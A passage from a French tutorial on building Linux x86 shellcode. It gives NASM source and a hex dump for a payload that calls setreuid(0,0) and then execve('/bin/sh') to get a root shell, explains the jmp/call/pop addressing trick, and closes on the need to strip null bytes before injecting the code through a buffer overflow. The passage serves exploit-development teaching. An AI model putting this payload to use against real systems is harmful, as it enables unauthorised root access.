Ne pas utiliser le segment data
Nous avons réussi à écrire un programme qui fait apparaître un shell à l’écran, root s’il en a la possibilité, ce qui n’est déjà pas si mal. Maintenant, il faut régler le problème de l’utilisation des segments de mémoire dont on ne doit pas se servir pour le bon fonctionnement du shellcode.
En fait, il faut déclarer la string dans le code (ce que nous savons faire et que nous avons par exemple appliqué dans la partie sur le faux désassemblage). Le problème est de connaître l’adresse de cette chaîne de caractères. Puisque nous ne connaissons pas l’adresse à laquelle va se trouver le shellcode, il faut que l’on soit capable de situer notre variable par rapport à l’EIP (Extended Instruction Pointer). Pour ce, il nous suffit au final d’utiliser les appels jump et call.
L’appel jump change l’adresse de l’EIP vers une adresse de notre choix. Call fait la même chose, mais en plus, il ajoute l’adresse de retour sur la pile où doit retourner EIP une fois l’appel terminé : cela nous suffit donc pour remplir notre objectif. En effet, si nous déclarons la chaine à la fin du programme, que nous utilisons une instruction jmp pour arriver à l’adresse de la chaine puis une instruction call, le fond de la pile ne sera rien d’autre que l’adresse de la chaine, qu’il nous suffit de popper de la pile et de placer dans une variable. Nous avons donc simplement utilisé ce "tour de passe-passe" dans la pile dans le code suivant pour produire quelque chose qui ressemble réellement à un bytecode digne de ce nom.
Bytecode primaire de shellcode
Voici donc le code de la partie précédente où nous avons appliqué le principe énoncé :
- ;shellcode.asm
- mov eax,70 ;on mets eax à 70 pour préparer l'appel à setreuid
- mov ebx,0 ;real uid 0 => root
- mov ecx,0 ;effective uid 0 => root
- int 0x80 ;Syscall 70
- jmp chaine ;On va au label <chaine>
- retour: ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
- pop ebx ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx
- mov eax,0 ;on mets 0 dans eax
- mov [ebx+7],al ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
- ;en fait, on réécrit le 0 de la chaine avec un nul byte
- ;al occupe 1 byte
- mov [ebx+8],ebx ;on mets l'addresse de la chaine 8 caractères après son début
- ;En fait, on réécrit aaaa par l'adresse de cheminshell
- mov [ebx+12],eax ;12 caractères après le début, on mets les 4 bytes de eax
- ;en fait, on réécrit bbbb par 0x00000000
- mov eax,11 ;on mets eax à 11 pour préparer l'appel à execve
- lea ecx,[ebx+8] ;on charge l'adresse de (anciennement) aaaa dans ecx
- lea edx,[ebx+12] ;on charge l'adresse de (anciennement) bbbb dans edx
- int 0x80 ;Syscall 11
- chaine: ;label chaine où on arrive après le jump
- call retour ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
- cheminshell db "/bin/sh0aaaabbbb"
Puisqu’il n’y a plus de segments, nous ne pouvons lancer le programme et démontrer l’utilisation de cette technique, il nous faudra attendre l’utilisation finale du shellcode pour le vérifier.
Examinons maintenant le bytecode obtenu à l’aide d’hexedit :
- $ nasm shellcode.asm
- $ hexedit shellcode
- 00000000 66 B8 46 00 00 00 66 BB 00 00 00 00 66 B9 00 00 f.F...f.....f...
- 00000010 00 00 CD 80 EB 28 66 5B 66 B8 00 00 00 00 67 88 .....(f[f.....g.
- 00000020 43 07 66 67 89 5B 08 66 67 89 43 0C 66 B8 0B 00 C.fg.[.fg.C.f...
- 00000030 00 00 66 67 8D 4B 08 66 67 8D 53 0C CD 80 E8 D5 ..fg.K.fg.S.....
- 00000040 FF 2F 62 69 6E 2F 73 68 30 61 61 61 61 62 62 62 ./bin/sh0aaaabbb
- 00000050 62 b
On remarque les nombreux 00. Or, un 00 dans un shellcode injecté terminerait la chaîne et donc le dépassement de mémoire, c’est pourquoi nous devons dans une dernière étape supprimer tous les bytes nuls de ce bytecode.